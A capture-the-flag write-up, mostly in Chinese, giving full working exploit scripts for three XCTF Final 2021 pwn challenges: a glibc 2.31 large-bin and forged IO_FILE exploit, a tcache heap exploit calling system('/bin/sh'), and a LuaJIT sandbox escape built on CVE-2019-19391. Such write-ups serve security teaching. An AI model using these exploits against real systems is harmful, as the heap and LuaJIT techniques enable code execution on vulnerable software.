[XCTF Final 2021] Pwn题解 - house of big, hard stack, lua
house of big
打出了个非预期,找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync
,该利用链需要配合一个手动挖出来的libc2.31的one_gadget
使用。可迁移性不强(其实所有利用IO_FILE vtable指针的打法都大同小异
三个角色的哈希校验绕过
A: b'AV;\x8b\x02'
B: b'B\xbf\x1b\x1e\x04'
C: b'C%:U\x01'
哈希爆破脚本
from hashlib import md5
i = 2**24 # skip "\x00"
while True:
#d = b"A"
#d = b"B"
d = b"C"
_input = d + i.to_bytes(4, "little")
#print(_input)
tmp = md5(_input).digest()
if tmp[:3] == b"<D\x00" and b"\x00" not in _input:
print(i, d + i.to_bytes(4, "little"))
break
i += 1
exp:
from pwn import *
import hashlib
#p = process("./pig_patch", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("172.35.6.13", 8888)
elf = ELF("./pig")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
# b'AV;\x8b\x02'
# b'B\xbf\x1b\x1e\x04'
# b'C%:U\x01'
def load_peppa():
p.sendlineafter(b"Choice: ", b"5")
p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'AV;\x8b\x02')
def load_mummy():
p.sendlineafter(b"Choice: ", b"5")
p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'B\xbf\x1b\x1e\x04')
def load_daddy():
p.sendlineafter(b"Choice: ", b"5")
p.sendlineafter(b"Please enter the identity password of the corresponding user:\n", b'C%:U\x01')
def add_peppa_msg(size:int, msg):
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Input the message size: ", str(size).encode())
p.recvuntil(b"Input the Peppa's message: ")
p.send(msg)
def add_mummy_msg(size:int, msg):
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Input the message size: ", str(size).encode())
p.recvuntil(b"Input the Mummy's message: ")
p.send(msg)
def add_daddy_msg(size:int, msg):
p.sendlineafter(b"Choice: ", b"1")
p.sendlineafter(b"Input the message size: ", str(size).encode())
p.recvuntil(b"Input the Daddy's message: ")
p.send(msg)
def show_msg(idx:int):
p.sendlineafter(b"Choice: ", b"2")
p.sendlineafter(b"Input the message index: ", str(idx).encode())
def edit_peppa_msg(idx:int, msg):
p.sendlineafter(b"Choice: ", b"3")
p.sendlineafter(b"Input the message index: ", str(idx).encode())
p.sendafter(b"Input the Peppa's message: ", msg)
def edit_mummy_msg(idx:int, msg):
p.sendlineafter(b"Choice: ", b"3")
p.sendlineafter(b"Input the message index: ", str(idx).encode())
p.sendafter(b"Input the Mummy's message: ", msg)
def edit_daddy_msg(idx:int, msg):
p.sendlineafter(b"Choice: ", b"3")
p.sendlineafter(b"Input the message index: ", str(idx).encode())
p.sendafter(b"Input the Daddy's message: ", msg)
def del_msg(idx:int):
p.sendlineafter(b"Choice: ", b"4")
p.sendlineafter(b"Input the message index: ", str(idx).encode())
def exp():
#load_mummy()
# leak addr
#gdb.attach(p, "handle SIGALRM noignore\nb _IO_wfile_sync\nc\n")
for i in range(8):
add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 0-7
add_peppa_msg(0x150, b"split\n"*(0x150//0x30)) #peppa 8
for i in range(8):
del_msg(i)
load_mummy()
load_peppa()
show_msg(7) # leak libc
p.recvuntil(b"The message is: ")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x1ebbe0
global_max_fast = libc_base + 0x1eeb80
system = libc_base + libc.symbols[b"system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
free_hook = libc_base + libc.symbols[b"__free_hook"]
io_list_all = libc_base + 0x1ec5a0
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("global_max_fast:", hex(global_max_fast))
show_msg(6) # leak heap
p.recvuntil(b"The message is: ")
heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
heap_base = heap_leak - 0x12590
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
# largebin attack
#edit_peppa_msg(7, ((p64(global_max_fast)+p64(global_max_fast-0x10)) * (0xa0//0x30))) # modify smallbin
#add_peppa_msg(0xa0, b"a"*((0xa0//0x30) * 0x10)) #peppa 9 trigger unsortedbin
#gdb.attach(p)
#pause()
load_mummy()
add_mummy_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #mummy 0
add_mummy_msg(0x410, b"a"*((0x410//0x30) * 0x10)) #mummy 1
load_peppa()
add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 9
load_mummy()
add_mummy_msg(0x420, b"a"*((0x420//0x30) * 0x10)) #mummy 2
load_peppa()
add_peppa_msg(0x150, b"a"*((0x150//0x30) * 0x10)) #peppa 10
load_mummy()
del_msg(2)
## reuse
load_daddy()
add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 0
del_msg(0)
#gdb.attach(p)
#pause()
load_peppa()
add_peppa_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #peppa 11
del_msg(11)
#gdb.attach(p)
#pause()
load_mummy()
add_mummy_msg(0x430, b"a"*((0x430//0x30) * 0x10)) #mummy 3
del_msg(1)
load_peppa() # refresh locked_flag
load_mummy()
#gdb.attach(p)
#pause()
edit_mummy_msg(2, (p64(heap_base+0x12cc0)+p64(io_list_all-0x20)) * (0x420//0x30)) # telescop 0x5555555704e0
load_daddy()
## trigger
add_daddy_msg(0x150, b"x"*((0x150//0x30) * 0x10)) #daddy 1
print("global_max_fast:", hex(global_max_fast))
print("io_list_all:", hex(io_list_all))
target_chunk = heap_base + 0x13080
print("target_chunk:", hex(target_chunk))
#gdb.attach(p)
#pause()
io_str_jumps = libc_base + 0x1ed0e0
ptr_2_io_wfile_sync = libc_base + 0x1ece40
io_wfile_jumps = libc_base + 0x1ecde0
#io_str_jumps = libc_base + 0x1ed320
print("io_str_jumps:", hex(io_str_jumps))
print("io_wfile_jumps:", hex(io_wfile_jumps))
## write fake io_file
'''
# old payload
payload = p64(0)*2
payload += p64(0) + p64((binsh-100)//2 +1) #_IO_write_base _IO_write_ptr
payload += p64(0)*2
payload += p64((binsh -100)//2) # _IO_buf_end;
payload += p64(0)*4
payload += p64(0) # _chain
payload = payload.ljust((0x88-0x10), b"\x00")
payload += p64(free_hook) # ptr to 0 for _lock
payload = payload.ljust((0xa8-0x10), b"\x00")
payload += p64(2) + p64(3) # _freeres_list _freeres_buf
payload = payload.ljust((0xc0-0x10), b"\x00")
payload += p32(0xffffffff)
payload = payload.ljust((0xd8-0x10), b"\x00")
payload += p64(io_str_jumps) + p64(system)
payload = payload.ljust(0xf0, b"\x00")
'''
one_gadget = libc_base+0xE6C80
payload = p64(0)*4
payload += p64(one_gadget) + p64(one_gadget+1) #write_base write_ptr
payload = payload.ljust(0x88, b"\x00")
payload += p64(free_hook)
payload = payload.ljust(0x98, b"\x00")
payload += p64(target_chunk+0x110) + p64(target_chunk+0xe0) # _codecvt _wide_data
payload = payload.ljust(0xd8, b"\x00") + p64(io_wfile_jumps+8*9)
payload += p64(1)+p64(0)*2+p64(1)+p64(0)*2
#payload += b"/bin/sh\x00"+p64(0)*1+p64(system)
payload += p64(target_chunk)+p64(0)*1+p64(system)
payload = payload[0x10:].ljust(0x150, b"\x00")
part1 = b""
part2 = b""
part3 = b""
for i in range(7):
part1 += payload[0x30*i : 0x30*i+0x10]
part2 += payload[0x30*i+0x10 : 0x30*i+0x20]
part3 += payload[0x30*i+0x20 : 0x30*i+0x30]
load_peppa()
edit_peppa_msg(11, part1)
load_mummy()
edit_mummy_msg(2, part2+(p64(0)*2)*(0x420//0x30-7))
load_daddy()
edit_daddy_msg(0, part3)
print("io_list_all:", hex(io_list_all))
print("io_str_jumps:", hex(io_str_jumps))
print("ptr_2_io_wfile_sync:", hex(ptr_2_io_wfile_sync))
print("io_wfile_jumps:", hex(io_wfile_jumps))
## trigger system
#gdb.attach(p, "set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290\nb *0x7ffff7e6b290\nc\n")
# set *(unsigned long long *)0x7fffffffe938=0x7ffff7e6b290
# b *0x7ffff7e6b290
load_mummy()
del_msg(0)
print("onegadget:", hex(one_gadget))
# _IO_flush_all_lockp
# 0x7ffff7e62984
# 0x7ffff7e62981
#gdb.attach(p)
#pause()
p.interactive()
if __name__ == "__main__":
exp()
hardstack
hand burp
from pwn import *
import sys
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
def new(idx:int, size:int):
p.sendlineafter(b"Your choice: ", b"1")
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def edit(idx:int, content):
p.sendlineafter(b"Your choice: ", b"2")
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Content: ", content)
def delete(idx:int):
p.sendlineafter(b"Your choice: ", b"4")
p.sendlineafter(b"Index: ", str(idx).encode())
def stkof(length, payload):
p.sendlineafter(b"Your choice: ", b"666")
p.sendline(str(length))
p.send(payload)
def exp():
global p
#p = process("./hardstack_patch", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("172.35.6.14", 9999)
#p.settimeout(1)
#gdb.attach(p, "b *0x400C4C\nc\n") #stkof
#chunk_list: 0x6020D0
#stdout: 0x00007ffff7dce760
#leak: 0x00007ffff7dce090
# attack IO_FILE
## prepare
new(0xf, 0xda0)
new(0, 0x1) #0
new(1, 0x1) #1
new(2, 0x28) #2
new(3, 0x28) #3
new(4, 0x28) #4
new(5, 0x410) #5
new(6, 0x10) #6 split
delete(5)
new(7, 0x2) #6->4
## build
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
edit(1, b"\xb0")
new(8, 0x1)
new(9, 0x1)
edit(9, b"\xe0")
edit(7, b"\x30\xdc")
## get
new(10, 0x20)
new(11, 0x20)
new(12, 0x20)
edit(12, p64(0x400b20)+p64(0)*3)
edit(12, p64(0x400a20)+p64(0)*3)
# leak
new(13, str(0x601FD0))
malloc = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
libc_base = malloc - 0x97140
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols[b"system"]
gets = libc_base + libc.symbols[b"gets"]
print("malloc:", hex(malloc))
print("libc:", hex(libc_base))
print("binsh:", hex(binsh))
print("system:", hex(system))
#new(13, str(0x601FD0))
edit(12, p64(gets)+p64(0)*3)
new(14, 0x6020d0)
p.sendline(b"/bin/sh\x00"+p64(0)*3)
#gdb.attach(p, "b *0x400b4b")
edit(12, p64(system)+p64(0)*3)
new(1, 0x6020d0)
p.sendline(b"cat flag; cat flag;")
p.interactive()
if __name__ == "__main__":
while True:
exp()
lua
套了一个sandbox
LuaJIT版本2.1.0-beta3 2017
复现CVE-2019-19391: https://github.com/LuaJIT/LuaJIT/pull/526
原POC还差写地址的部分
Type confusion 偏移到os.execute来bypass sandbox
exp:
local str = "123456789"
-- local bit = require("bit")
local bit_band = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge = math.huge
function UInt32sToDouble(low, high)
local negative = false
if high >= 0x80000000 then
negative = true
high = high - 0x80000000
end
local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
local f
if biasedExponent == 0x0000 then
f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
elseif biasedExponent == 0x07FF then
f = mantissa == 0 and math_huge or(math_huge - math_huge)
else
f = math_ldexp(1 + mantissa, biasedExponent - 1023)
end
return negative and -f or f
end
local obj_address = tonumber(string.format( "%p", str ), 16) + 12
print(string.format( "%p", str ))
address = UInt32sToDouble( obj_address, 0 )
local func = debug.getinfo( 0, ">f", address ).func
print(func)
-- This is supposed to get the environment of the function
-- but it allows us to read memory by formatting the address
-- into a pointer
local length = debug.getfenv( func )
-- Format the address into a pointer
-- prints 4, the length of the string
-- print(string.format( "%p", length))
print("read memory:")
-- print( tonumber( string.format( "%p", length), 16 ) )
print(string.format( "%p", length))
function read_mem(mem_addr)
mem_addr = mem_addr - 8
address = UInt32sToDouble( mem_addr, 0 )
local func = debug.getinfo( 0, ">f", address ).func
local length = debug.getfenv( func )
return string.format( "%p", length)
end
function exec_addr(e_addr, fake_argv)
-- e_addr = e_addr - 8
address = UInt32sToDouble( e_addr, 0 )
local func = debug.getinfo( 0, ">f", address ).func
func(fake_argv)
print("exec successfully!!!")
end
-- print(read_mem(obj_address - 4 - 0x10 + 4 ))
function addr_of(fake_obj)
-- local o_address = tonumber(string.format("%p", fake_obj), 16)
local o_address = string.format("%p", fake_obj)
return o_address
end
function todo()
print("hi,happy.")
end
print("addr of ipairs")
func_addr_of_ipairs = addr_of(ipairs)
print(ipairs)
print("addr of:")
func_addr_of_exec_addr = addr_of(exec_addr)
print(func_addr_of_exec_addr)
print("delta:")
print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_ipairs))
-- print(string.format("0x%x", func_addr_of_real_os_execute -func_addr_of_ipairs ))
-- func_addr_of_real_os_execute -func_addr_of_ipairs = 0x2540
-- print(string.format("0x%x", func_addr_of_load - func_addr_of_ipairs))
-- func_addr_of_load - func_addr_of_ipairs = 0x4b8
-- print(string.format("0x%x", func_addr_of_exec_addr - func_addr_of_load))
print("content:")
print(read_mem(func_addr_of_exec_addr))
-- exec_addr(obj_address)
function Sleep(n)
local t0 = os.clock()
while os.clock() - t0 <= n do end
end
-- Sleep(20)
function faking_func()
print("fake me!!!")
end
local fake_args = function() print("exe_me!") end
-- load(fake_args)
-- exec_addr
-- exec_addr(addr_of(faking_func) , nil)
-- calc_load_addr = func_addr_of_ipairs + 0x4b8
calc_exec_addr = func_addr_of_ipairs + 0x2540
exec_addr(calc_exec_addr, "cat flag")